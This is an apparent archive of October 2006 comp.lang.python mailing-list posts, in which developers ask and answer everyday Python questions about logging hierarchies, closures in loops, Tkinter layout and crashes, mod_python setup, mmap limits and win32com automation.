Message-ID: <slrnejpebt.7k4.sybrenUSE@schuimige.stuvel.eu>

Kjell Magne Fauske enlightened us with:
> I recommend taking a look at Django [1]. It is not a CMS right out
> of the box, but writing one using the Django framework is not that
> difficult.

Django is my favourite as well. It's very easy to start building a
dynamic website.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From martin at v.loewis.de  Tue Oct 24 15:28:43 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Tue, 24 Oct 2006 21:28:43 +0200
Subject: The status of Python and SOAP?
In-Reply-To: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com>
Message-ID: <453E696B.1010605@v.loewis.de>

Thomas W schrieb:
> I'm going to give a presentation of python to my co-workers at a very
> pro-microsoft workplace. Almost everything we need is currently
> supported by the standard distro + the win32all package, but we also
> need support for SOAP. I've tried SOAPpy ( didn't get it to compile,
> needed a library from a dead site ) and a few others, but I cannot help
> the feeling that SOAP isn't very high on the list of priorities in the
> python community. I hope I'm wrong.

You are right. It is not very high on the list of priorities.

Regards,
Martin


From martin at v.loewis.de  Sun Oct 15 10:45:44 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sun, 15 Oct 2006 16:45:44 +0200
Subject: Where I can find
In-Reply-To: <1160919699.354038.213920@k70g2000cwa.googlegroups.com>
References: <1160919699.354038.213920@k70g2000cwa.googlegroups.com>
Message-ID: <45324998$0$6362$9b622d9e@news.freenet.de>

vedran_dekovic at yahoo.com schrieb:
> Where I can find this files(modules):
> 
> fcntl,FCNTL,tty,termios, TERMIOS

They are included in the standard installation of Python.
Notice that some of them work only on Unix.
Also notice that FCNTL no longer exist; I'm not sure
whether TERMIOS ever existed.

Regards,
Martin


From jstroud at mbi.ucla.edu  Wed Oct  4 07:29:11 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Wed, 04 Oct 2006 11:29:11 GMT
Subject: Python/Tkinter crash.
In-Reply-To: <mailman.1242.1159951684.10491.python-list@python.org>
References: <mailman.1242.1159951684.10491.python-list@python.org>
Message-ID: <bWMUg.1508$NE6.122@newssvr11.news.prodigy.com>

Hendrik van Rooyen wrote:
> Hi,
> 
> I get the following:
> 
> hvr at LINUXBOXMicrocorp:~/Controller/lib> python display.py
> UpdateStringProc should not be invoked for type font
> Aborted
> 
> and I am back at the bash prompt - this is most frustrating, as there is no
> friendly traceback to help me guess where its coming from.
> 
> And what is worse, the script runs for a varying time before it simply exits
> like this.
> 
> What can I do to dig deeper to try to find a clue? - I don't even know if its
> Python, Tkinter or Linux...
> 
> Some background:
> 
> The application is a prototype gui for a controller of an injection moulding
> machine.
> It has two rows of five buttons across the top, and a canvas containing various
> objects over the rest of the screen.
> Extensive use is made of configure to change the text of the buttons, as well as
> their command bindings,
> to keep "the state of the system" current - its quite a hack at this time, as I
> am still experimenting with getting the interface intuitive.
> On the canvas, there are multiple instances of a Meter class to show things like
> temperatures and pressures,
> as well as a schematic representation of the machine, created out of polygons
> and lines.
> The schematic, as well as the Meters, are crudely animated by deleting and
> redrawing the objects repetitively with slightly different parameters in
> response to button presses. This is done by starting different threads to
> implement the various motions, which repetitively call kill and draw methods in
> the main app, after which they (the threads) commit seppoku by returning.
> 
> Everything seems to work fine. - there is a thread that runs to move the meter
> values around continuously, and this has been stable for some time now, and I
> can get the various "machine" parts to move around the screen by pushing the
> buttons.
> The trouble occurs when I put the "machine" into Auto mode, simulating the
> various motions in a loop, - it runs for anything from a few tens to a few
> hundreds of cycles before handing in its dinner pail like this.
> 
> Any Ideas on what to do next to find the culprit?
> 
> - Hendrik
> 

Minimal source code to reproduce this error would help tremendously.


From marko_m at hotmail.it  Sat Oct 28 09:19:24 2006
From: marko_m at hotmail.it (dan84)
Date: 28 Oct 2006 06:19:24 -0700
Subject: PROBLEM with MOD_PYTHON
Message-ID: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>

I don't understand this error , in the (Apache) errorlog I read this
message :

[Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import
mod_python.apache.\n
[Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being
used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib',
'.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk',
'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']".
[Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter
callback found.
[Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler:
Can't get/create interpreter.

I have Apache/2.0.59 (Win32) mod_python/3.2.10 Python/2.4.3
I have read all the manuals, but I don't understand where I am wrong.

thanks so much
               Marco.



From johnjsal at NOSPAMgmail.com  Thu Oct 19 10:21:09 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Thu, 19 Oct 2006 14:21:09 GMT
Subject: A suggestion/request for IDEs
Message-ID: <pRLZg.113$1n3.3340@news.tufts.edu>

I apologize for the slightly off-topic nature, but I thought I'd just 
throw this out there for anyone working on text editors or IDEs with 
auto-completion.

I think it should be a feature, when an item is selected for 
auto-completion in a drop-down box, that pressing the spacebar (in 
addition to tab or enter) will automatically finish the word and add a 
space. This is how Microsoft's new IDEs for .NET work, and I found it 
very helpful to be able to just press space as normal and keep typing. I 
know it sounds minor, but I find it to be a time saver instead of having 
to press tab or enter, and then also the spacebar.

Thanks.


From g.brandl-nospam at gmx.net  Sat Oct 28 14:36:10 2006
From: g.brandl-nospam at gmx.net (Georg Brandl)
Date: Sat, 28 Oct 2006 20:36:10 +0200
Subject: what is "@param" in docstrings?
In-Reply-To: <1162059000.915118.313070@f16g2000cwb.googlegroups.com>
References: <1162059000.915118.313070@f16g2000cwb.googlegroups.com>
Message-ID: <ei07v1$bp0$1@news.albasani.net>

georgeryoung at gmail.com wrote:
> I'm starting to read about twisted and I keep seeing things like:
> [from twisted/internet/app.py]
> 
>     def __init__(self, name, uid=None, gid=None, authorizer=None,
> authorizer_=None):
>         """Initialize me.
>         If uid and gid arguments are not provided, this application
> will
>         default to having the uid and gid of the user and group who
> created it.
> 
>         @param name: a name
> 
>         @param uid: (optional) a POSIX user-id.  Only used on POSIX
> systems.
> 
>         @param gid: (optional) a POSIX group-id.  Only used on POSIX
> systems.
>         """
>         _AbstractServiceCollection.__init__(self)
>         self.name = name
>         ...
> 
> What does the "@param" mean?  It looks like something meant to be
> machine readable.  Alas, googling on "@param" doesn't work...  It looks
> at first like a decorator, but that doesn't make much sense.

It's docstring markup that can be parsed by e.g. epydoc. It's borrowed
from JavaDoc's similar syntax.

Georg


From vinay_sajip at yahoo.co.uk  Sat Oct  7 12:41:33 2006
From: vinay_sajip at yahoo.co.uk (Vinay Sajip)
Date: 7 Oct 2006 09:41:33 -0700
Subject: Multiple calls to logging.config.fileConfig
References: <1160041377.361490.278710@m7g2000cwm.googlegroups.com>
Message-ID: <1160239293.505460.160830@i3g2000cwc.googlegroups.com>

logging.config.fileConfig() does not do incremental configuration - it
replaces the existing configuration with the configuration in the file
passed to fileConfig. While this might not be too useful for your
current needs, the present behaviour is by design...fileConfig is meant
to choose between one of a number of configurations (e.g. development,
test, production) and not for incremental configuration.

Regards,

Vinay Sajip



From http  Wed Oct 25 22:44:14 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 19:44:14 -0700
Subject: question about True values
References: <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<ehp64d$8c3$1@sea.gmane.org>
	<mailman.1234.1161829866.11739.python-list@python.org>
Message-ID: <7xejsv3if5.fsf@ruckus.brouhaha.com>

Max Erickson <maxerickson at gmail.com> writes:
> > [Steve:] There's still a very obvious omission ...
> 
> bool.
> 
> unicode and long if you are fussy.

There's another.  Imagine a datatype for Discordian religious leaders
and consider what a genderless one would be called.


From rcrida at gmail.com  Fri Oct 20 08:12:30 2006
From: rcrida at gmail.com (Robert)
Date: 20 Oct 2006 05:12:30 -0700
Subject: Logging with Logger hierarchies
Message-ID: <1161346350.030708.319880@i3g2000cwc.googlegroups.com>

Hi all

I have been trying to set up a framework with logging implemented using
the built in Python logging module. For better or worse, I have decided
to base the logger names on the module names. This means that I am
using multiple layers of name, eg logging.getLogger("a.b.c"). I am also
using logging.config to load a file configuration but have been
experiencing some unexpected behaviour.

If for instance I have something resembling the following code:

import logging
import logging.config
logging.config.fileConfig("logging.conf")
logger = logging.getLogger("a.b.c")
logger.debug("Debug message")

and the file logging.conf describes only the root logger configuration
and specifies level=DEBUG. I get an message saying no handler found for
logger "a.b.c". What I would have expected was that my logger would
have inherited its handlers from root, ie through the parents a.b, up
to a and finally up to root.

I delved in the code and found that when my logger "a.b.c" is created,
it doesn't create Loggers for "a.b" or "a" but rather instances of a
PlaceHolder class. If I actually call logging.getLogger("a.b") and
logging.getLogger("a")  then the PlaceHolders get converted to Loggers
and the hierarchy suddenly works.

My feeling is that either the PlaceHolder objects should be modified to
make them work properly in the hierarchy, or probably more simply, they
should just be replaced by Loggers immediately when the hierarchy is
first created. In that case, I believe that my expected behaviour would
"just work". Now I am beginning to wonder if I have missed something,
ie is there some reason why this is not a good idea and hasn't been
done? Otherwise, what do people generally think? Is it as simple as I
haven't set something up right, or do I have to declare the
intermediate loggers, or does having multiple layers just suck!!!

Useful comment welcome!
Robert



From agriff at tin.it  Sat Oct 28 18:49:36 2006
From: agriff at tin.it (Andrea Griffini)
Date: Sun, 29 Oct 2006 00:49:36 +0200
Subject: Name bindings for inner functions.
In-Reply-To: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>
References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>
Message-ID: <4543ddbe$0$3210$4fafbaef@reader2.news.tin.it>

trevor_morgan at yahoo.com wrote:
> The following code:
> 
> def functions():
>     l=list()
>     for i in range(5):
>         def inner():
>             return i
>         l.append(inner)
>     return l
> 
> 
> print [f() for f in functions()]
> 
> 
> returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4].  I presume
> this is something to do with the variable i getting re-bound every time
> we go through the loop, or something, but I'm not sure how to fix this.

The problem is that "i" inside the function is indeed
the same variable for all the functions (the one you're
using for looping).

If you want a different variable for each function
you can use the somewhat ugly but idiomatic

def functions():
     l=list()
     for i in range(5):
         def inner(i=i):
             return i
         l.append(inner)
     return l

this way every function will have its own "i" variable,
that is initialized with the value of the loop variable
when executing the "def" statement.

Andrea


From hanumizzle at gmail.com  Tue Oct 10 04:09:31 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 04:09:31 -0400
Subject: does raw_input() return unicode?
In-Reply-To: <452b5190$0$29833$9b622d9e@news.freenet.de>
References: <12iln7en9ipit77@corp.supernews.com>
	<452b5190$0$29833$9b622d9e@news.freenet.de>
Message-ID: <463ff4860610100109n20a174b8lc546be2c46d25363@mail.gmail.com>

On 10/10/06, "Martin v. L?wis" <martin at v.loewis.de> wrote:
> Stuart McGraw schrieb:
> > So, does raw_input() ever return unicode objects and if
> > so, under what conditions?
>
> At the moment, it only returns unicode objects when invoked
> in the IDLE shell, and only if the character entered cannot
> be represented in the locale's charset.

Why only IDLE? Does urwid or another console UI toolkit avoid this somehow?

-- Theerasak


From __peter__ at web.de  Wed Oct  4 06:24:48 2006
From: __peter__ at web.de (Peter Otten)
Date: Wed, 04 Oct 2006 12:24:48 +0200
Subject: string: __iter__()?
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
	<mailman.1248.1159956262.10491.python-list@python.org>
	<636bd$452388d1$506d0b9f$12642@news.chello.at>
Message-ID: <eg0224$3d7$02$1@news.t-online.com>

mrquantum wrote:

> Am Wed, 04 Oct 2006 12:03:41 +0200 schrieb Fredrik Lundh:

>> really?  iter("SomeString") works just fine for me.

> But then why doesn't dir('SomeString') show an __iter__ method? Seems to
> be implmented differently than with e.g. lists? 

The older pre-__iter__() iteration style relying on __getitem__() still
works:

>>> class A:
...     def __getitem__(self, index):
...             return [3,2,1][index]
...
>>> for item in A():
...     print item
...
3
2
1

> Know why?

No idea. Perhaps nobody cared?

Peter


From hanumizzle at gmail.com  Wed Oct 11 03:37:24 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 03:37:24 -0400
Subject: OT: Sarcasm and irony
In-Reply-To: <egi6g7$smn$1@sea.gmane.org>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
	<egi6g7$smn$1@sea.gmane.org>
Message-ID: <463ff4860610110037kb7d795ch883fd56c11820b55@mail.gmail.com>

On 10/11/06, Steve Holden <steve at holdenweb.com> wrote:
> mensanator at aol.com wrote:
> [...]
> > Any? Don't people plan June weddings thinking the weather
> > will be nice? And isn't one of the defintions of irony when
> > things turn out the opposite of what you expect?
> >
> But rain at a June wedding isn't truly ironic since it isn't the result
> of the planners' actions.
>
> It would be ironic if I chose to get married in June and then all the
> people I invited instead chose to attend a conference because I wasn't
> going to be there.

Better yet: plan an elaborate wedding and fly to Europe (or America if
in Europe) when the wedding is set to take place.

Whee!!

-- Theerasak


From hpsekhon at googlemail.com  Mon Oct  2 10:45:12 2006
From: hpsekhon at googlemail.com (Hari Sekhon)
Date: Mon, 02 Oct 2006 15:45:12 +0100
Subject: commands.getstatusoutput result is not command line exit value!!!
Message-ID: <452125F8.8070106@googlemail.com>

I'm running a command like

import commands
result = commands.getstatusoutput('somecommand')
print result[0]
3072


However, this exit code made no sense so I ran it manually from the 
command line in bash on my linux server and it gives the exit code as 
12, not this weird 3072 number.

So I tried os.system('somecommand') in the interactive python shell and 
it too returned the same result for the exit code as the unix shell, 12, 
but re-running the commands.getstatusoutput() with the exact same 
command still gave 3072.


Is commands.getstatusoutput() broken or something?


-h

-- 
Hari Sekhon



From istvan.albert at gmail.com  Mon Oct 23 12:08:51 2006
From: istvan.albert at gmail.com (Istvan Albert)
Date: 23 Oct 2006 09:08:51 -0700
Subject: multythreading app memory consumption
References: <mailman.952.1161559842.11739.python-list@python.org>
Message-ID: <1161619731.694654.272380@e3g2000cwe.googlegroups.com>

Roman Petrichev wrote:

>          try:
>              url = Q.get()
>          except Queue.Empty:
>              break

This code will never raise the Queue.Empty exception. Only a
non-blocking get does:

url = Q.get(block=False)

As mentioned before you should post working code if you expect people
to help.

i.



From wescpy at gmail.com  Wed Oct 18 19:11:38 2006
From: wescpy at gmail.com (wesley chun)
Date: Wed, 18 Oct 2006 16:11:38 -0700
Subject: Adding Worksheets to an Excel Workbook
Message-ID: <78b3a9580610181611q50f4ebc6scf18911e04c474f3@mail.gmail.com>

> From: Tom Plunket
> Date: Tues, Oct 17 2006 6:34 pm
>
> You've got a lot of sleep calls in there- did you find that things
> behaved erratically without them?  I haven't done any Office
> automation with Python, but my DevStudio stuff has always worked a
> treat without the sleep calls.


sorry, i forgot to explain this in my previous post. the sleep()s are
not required and are used purely for demonstration purposes, to slow
things down so that you can see things happen live in the application.
 it's no fun if Excel opens and everything is already there!

cheers,
-- wesley
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
"Core Python Programming", Prentice Hall, (c)2007,2001
    http://corepython.com

wesley.j.chun :: wescpy-at-gmail.com
python training and technical consulting
cyberweb.consulting : silicon valley, ca
http://cyberwebconsulting.com


From jmdeschamps at gmail.com  Wed Oct  4 21:12:54 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 4 Oct 2006 18:12:54 -0700
Subject: filling a frame with a widget
In-Reply-To: <mailman.1260.1159965599.10491.python-list@python.org>
References: <83e8215e0610040455v36b3e7b9r2394a476b3aa41dd@mail.gmail.com>
	<mailman.1260.1159965599.10491.python-list@python.org>
Message-ID: <1160010774.268428.265110@i3g2000cwc.googlegroups.com>


Fredrik Lundh wrote:
> Paolo Pantaleo wrote:
>
> >I have this code
> >
> > from Tkinter import *
> >
> > root=Tk()
> > Button(root).pack(fill=BOTH)
> > root.mainloop()
> >
> > I would expect the button filling all the client draw area of the
> > Frame, but when I resize the root window the button becomes wider, but
> > not higher ( I get some empty space under the button).
>
> pack(fill=BOTH, expand=1) should do the trick.
>
> the pack geometry manager works by slicing off vertical or horizontal areas from
> the parent, one area per widget.  the "fill" option controls how to place the widget
> inside that area, the "expand" option controls how to handle any extra space left
> in the parent.  if "expand" isn't set for any child widget, the extra space is left un-
> used.
>
> </F>
I'm not the OP, and I even replied about expand but *now* I know how it
works... Thanks, Fredrik!

jean-marc



From fredrik at pythonware.com  Sun Oct 22 14:21:38 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Sun, 22 Oct 2006 20:21:38 +0200
Subject: pylint: What's wrong with the builtin map()
In-Reply-To: <MnO_g.219$P33.22@read3.inet.fi>
References: <MnO_g.219$P33.22@read3.inet.fi>
Message-ID: <ehgcrh$ri7$1@sea.gmane.org>

Tuomas wrote:

 > lst = map(lambda x: x.strip(), lst)

list comprehensions are more efficient than map/lambda combinations;
the above is better written as:

    lst = [x.strip() for x in lst]

in general, map() works best when the callable is an existing function 
(especially if it's a built-in).  not sure if pylist is smart enough to 
tell the difference, though.

</F>



From mail at microcorp.co.za  Sat Oct 14 01:11:58 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 14 Oct 2006 07:11:58 +0200
Subject: What value should be passed to make a function use the
	defaultargument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com><slrnei73f7.55m.apardon@rcpc42.vub.ac.be><eg03un$se8$1@news.albasani.net><slrnei75t2.55m.apardon@rcpc42.vub.ac.be><7xhcyk2u1z.fsf@ruckus.brouhaha.com><eg17jd$gsr$1@news.albasani.net><mailman.1295.1159996151.10491.python-list@python.org><slrneic180.55m.apardon@rcpc42.vub.ac.be><mailman.1431.1160125174.10491.python-list@python.org><slrneic807.55m.apardon@rcpc42.vub.ac.be><mailman.1439.1160128583.10491.python-list@python.org><slrneicbd7.55m.apardon@rcpc42.vub.ac.be><mailman.1449.1160131361.10491.python-list@python.org><slrneicdjt.55m.apardon@rcpc42.vub.ac.be><egl1sr$d1s$1@wake.carmen.se>
	<slrneiulrh.43c.apardon@rcpc42.vub.ac.be>
Message-ID: <000e01c6ef55$3f06b2a0$03000080@hendrik>

"Antoon Pardon" <apardon at forel.vub.ac.be> wrote:
 8<-----------------------------------------------------------------------------

> If we somehow want to seperate parameters in those that
> can be used with a keyword and those that don't it has
> to be something different than providing a default value
> to that parameter.

This makes sense - before reading this thread I was under the impression that
giving a variable a default value makes it a keyword variable....

- Hendrik



From mitko at qlogic.com  Fri Oct 13 14:23:34 2006
From: mitko at qlogic.com (Mitko Haralanov)
Date: Fri, 13 Oct 2006 11:23:34 -0700
Subject: Newbie question - leading zeros
In-Reply-To: <20061013130805.T91050@eris.io.com>
References: <20061013130805.T91050@eris.io.com>
Message-ID: <20061013112334.2e58f30f@opal.pathscale.com>

On Fri, 13 Oct 2006 13:10:55 -0500
eldorado <eldorado at io.com> wrote:

> I have looked around and cannot seem to find a way to strip leading zeros 
> off of values in a dictionary. Basically, I am looking to do a for loop 
> and any value that has one or more leading zeros would be stripped. Any 
> pointers would be appreciated. Thanks

I assume that the values are string representations of numbers? If that
is the case, you could do 'str (int (<value>))'. It's ugly but it works.

-- 
Mitko Haralanov					 mitko at qlogic.com
Senior Software Engineer			     650.934.8064
System Interconnect Group		    http://www.qlogic.com



From cfriedalek at gmail.com  Tue Oct 24 21:15:39 2006
From: cfriedalek at gmail.com (cfriedalek at gmail.com)
Date: 24 Oct 2006 18:15:39 -0700
Subject: win32com problem
Message-ID: <1161738939.199723.85120@f16g2000cwb.googlegroups.com>

I'm interacting with a third party application using python and com.
However having problems and don't know what to look at next to resolve
the issue.

The app. can be driven by VBS. The following VBS code works:

Set Synergy = CreateObject("synergy.Synergy")
Synergy.OpenProject "D:/temp/project.mpi"
Synergy.Project.OpenItemByName "test_bar_3d_6l_pc1", "Study"
Set Tet = Synergy.StudyDoc.GetFirstTet()
While Not Tet Is Nothing
  Str = Tet.ConvertToString() + " "
  Set Tet = Synergy.StudyDoc.GetNextTet(Tet)
  MsgBox Str
WEnd

This prints "TE1" "TE2" etc


The "same" code in python returns <COMObject <unknown>> with each call
to the GetNextTet method.

import win32com.client
from win32com.client import Dispatch
Synergy = win32com.client.Dispatch("synergy.Synergy")
Synergy.OpenProject("D:/temp/project.mpi")
Synergy.Project.OpenItemByName("test_bar_3d_6l_pc1", "Study")
tet = Synergy.StudyDoc.GetFirstTet
while tet:
    print str(tet)
    tet = Synergy.StudyDoc.GetNextTet(tet)

Any clues on what I'm doing wrong, or how to investigate whether there
is a bug in win32com or in the third party apps com implementation.



From iainking at gmail.com  Fri Oct 13 10:56:57 2006
From: iainking at gmail.com (Iain King)
Date: 13 Oct 2006 07:56:57 -0700
Subject: edit a torrent file with python
In-Reply-To: <1160747455.818572.293490@m7g2000cwm.googlegroups.com>
References: <1160747455.818572.293490@m7g2000cwm.googlegroups.com>
Message-ID: <1160751417.900844.228780@b28g2000cwb.googlegroups.com>


di0rz` wrote:
> hi,
> I am looking for a python script to edit .torrent files
> if anybody know one thx

Not sure exactly what you are looking for, but the original bittorrent
client is written in Python, so you could grab a copy of it and check
the code.

Iain



From noway at sorry.com  Wed Oct  4 17:06:59 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Wed, 04 Oct 2006 21:06:59 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><eft78f$put$1@sea.gmane.org>
	<mailman.1146.1159866456.10491.python-list@python.org>
	<gzJUg.134225$zy5.1829430@twister1.libero.it>
	<452410E9.9040403@v.loewis.de>
Message-ID: <TnVUg.135451$zy5.1833460@twister1.libero.it>

Martin v. L?wis wrote:

>> Frankly, I don't give a damn about the language the application is
>> coded in
>
> That's probably one of the reasons why you aren't a member of the
> Python Software Foundation. Its mission includes to publicize,
> promote the
> adoption of, and facilitate the ongoing development of Python-related
> technology and educational resources. So the tracker being written in
> Python is quite of importance.

So we have a problem between the PSF and the "PSF infrastructure committee",
since the latter did not put "being written in Python" has a requirement for
the tracker.
-- 
Giovanni Bajo




From MrJean1 at gmail.com  Sun Oct  8 02:08:26 2006
From: MrJean1 at gmail.com (MrJean1)
Date: 7 Oct 2006 23:08:26 -0700
Subject: Dumping the state of a deadlocked process
In-Reply-To: <1160212333.072497.224360@i42g2000cwa.googlegroups.com>
References: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>
	<1160169525.373389.207990@c28g2000cwb.googlegroups.com>
	<1160212333.072497.224360@i42g2000cwa.googlegroups.com>
Message-ID: <1160287706.081365.160340@m7g2000cwm.googlegroups.com>

andre.naess at gmail.com wrote:
> MrJean1 wrote:
> > Did you try using the signal module?  If not, a basic example is here
> > <http://docs.python.org/lib/node546.html> which may need to be
> > extended.
>
> I looks useful. I gave it a try, and the only weakness it has is that
> when my process locks, it locks so badly that it doesn't respond to
> CTRL-C, or any other signal. But by sending it a SIGQUIT which causes
> it to dump the current state, and then kill it, I get the dump I need.

The Ctrl-C signal SIGINT is caught by Python by default and the signal
handler
raises a KeyboardInterrupt exception.  For any other signals, the
signal is caught
but the signal handler is not called until Python returns to the main
loop.

Therefore, if some extension -like Postgresql in this case- is busy or
hangs, nothing
will happen until Python regains control.


>
> This is actually not a multi-threaded app. It's an application which
> uses a SQL DB. The problem I was having was that I had a cursor which
> started a transaction, and then never finished. Then some other cursor
> came along and tried to perform a delete table, and they both locked
> up. The cursor isn't ending it's transaction, and the transaction
> prevents the delete table from being executed. Luckily Postgresql
> allows me to list current activity, otherwise I would have been
> scratching my head still.
>
> Using logging or print statements to debug this sort of things is
> highly unsatisfactory. I think the way Java uses SIGQUIT is pretty
> neat, are there any reasons why Python can't adopt something similar?

I can not anwer that.

/Jean Brouwers



From sturlamolden at yahoo.no  Mon Oct 23 20:51:38 2006
From: sturlamolden at yahoo.no (sturlamolden)
Date: 23 Oct 2006 17:51:38 -0700
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
Message-ID: <1161651098.747216.13300@k70g2000cwa.googlegroups.com>


myeates at jpl.nasa.gov wrote:
> Hi
> Anyone ever done this? It looks like Python2.4 won't take a length arg
> > 2 Gig since its not seen as an int.

Lookin at Python's source (mmapmodule.c), it seems that "mmap.mmap"
always sets the offset argument in Windows MapViewOfFile and UNIX to 0.
This means that it is always mapping from the beginning of the file.
Thus, Python's mmap module is useless for large files. This is really
bad coding. The one that wrote mmapmodule.c didn't consider the
posibility that a 64 bit file system like NTFS can harbour files to
large to fit in a 32 address space. Thus,
mmapmodule.c needs to be fixed before it can be used for large files.



From python at hope.cz  Thu Oct 19 11:39:36 2006
From: python at hope.cz (Lad)
Date: 19 Oct 2006 08:39:36 -0700
Subject: Dictionaries again - where do I make a mistake?
Message-ID: <1161272376.402525.188810@k70g2000cwa.googlegroups.com>

I use the following code  to sort dictionary.


Olddict={'r':4,'c':1,'d':2,'e':3,'f':2}
Newdict={}
i = [(val, key) for (key, val) in Olddict.items()]
i.sort() # by val
i.reverse() # Get largest first.
for (val, key) in i:
	print key,val
	Newdict[key]=val
print Olddict
print Newdict


Sorting seems to be OK,.
the command
print key,val
prints the proper values
 but I can not create Newdict to be sorted properly.

Where do I make a mistake?
Thank you for help.
L



From gagsl-py at yahoo.com.ar  Mon Oct  9 20:02:31 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Mon, 09 Oct 2006 21:02:31 -0300
Subject: Help with first script please. files, directories, autocomplete
In-Reply-To: <1160249646.129746.213600@b28g2000cwb.googlegroups.com>
References: <1160236545.779687.136980@c28g2000cwb.googlegroups.com>
	<1160249646.129746.213600@b28g2000cwb.googlegroups.com>
Message-ID: <7.0.1.0.0.20061009205652.04623580@yahoo.com.ar>

At Saturday 7/10/2006 16:34, Rainy wrote:

>You can store the dir name as a variable:
>
> >>> d = 'c:\home'
> >>> from os import *
> >>> listdir(d)
>['.Config.pm.swp', '.run.bat.swp', 'AHK scripts', 'Archive',
>'Config.pm', 'Docs', 'Images', 'Links', 'Music', 'Projects', 'Python
>programs', 'run.bat', 'Share', 'Torrent']

Note that \ is a escape character, and works fine in this case only 
because \h is not a valid sequence.
Use instead 'c:\\home' or r'c:\home' or 'c:/home' (forward slashes 
are fine in Windows too)

from ... import * is not the recommended way; use instead:

from os import listdir
listdir(d)

or

import os
os.listdir(d)

-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From bignose+hates-spam at benfinney.id.au  Wed Oct 11 04:07:19 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Wed, 11 Oct 2006 18:07:19 +1000
Subject: OT: Sarcasm and irony
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au>
	<463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com>
	<3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com>
	<egfkeh$a45$1@sea.gmane.org>
	<3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com>
	<mailman.193.1160473683.11739.python-list@python.org>
	<12iosfh75stcf0e@corp.supernews.com>
	<1160544879.915425.250200@m7g2000cwm.googlegroups.com>
	<463ff4860610102244y348d8b5alc8247e84775d1cd3@mail.gmail.com>
Message-ID: <873b9v6zt4.fsf@benfinney.id.au>

"Theerasak Photha" <hanumizzle at gmail.com> writes:

> I hate June. June sucks. Blindly following some Roman custom relating
> to Juno (the real reason why people have June weddings)

Well, our traditions and ceremonies in the anti-podes (thanks SteveH)
are very Euro-centric; but we still have our weddings in the hot
months of November through February, so Juno has nothing to do with
it. I think it's nothing more than the expectation that the weather
will be clear.

> I may be brown, but this time of the year in the Northern Hemisphere
> when the weather is chilly but not intolerable, and one can read by
> the moonlight is, OTOH, teh win.

Preach it, brother.

-- 
 \      "If you wish to strive for peace of soul, then believe; if you |
  `\       wish to be a devotee of truth, then inquire."  -- Friedrich |
_o__)                                                        Nietzsche |
Ben Finney



From leonhard.vogt at gmx.ch  Mon Oct  9 08:07:15 2006
From: leonhard.vogt at gmx.ch (leonhard.vogt at gmx.ch)
Date: 9 Oct 2006 05:07:15 -0700
Subject: unexpected behaviour of lambda expression
References: <1160379765.723206.33640@i3g2000cwc.googlegroups.com>
	<mailman.100.1160380398.11739.python-list@python.org>
Message-ID: <1160395635.817274.38930@c28g2000cwb.googlegroups.com>

Fredrik Lundh schrieb:

> leonhard.vogt at gmx.ch wrote:
>
> > Please consider that example:
> > Python 2.4.3 (#69, Mar 29 2006, 17:35:34) [MSC v.1310 32 bit (Intel)]
> > on win32
> > Type "help", "copyright", "credits" or "license" for more information.
> >>>> s = 'foo'
> >>>> f = lambda x: s
> >>>> f(None)
> > 'foo'
> >>>> s = 'bar'
> >>>> f(None)
> > 'bar'
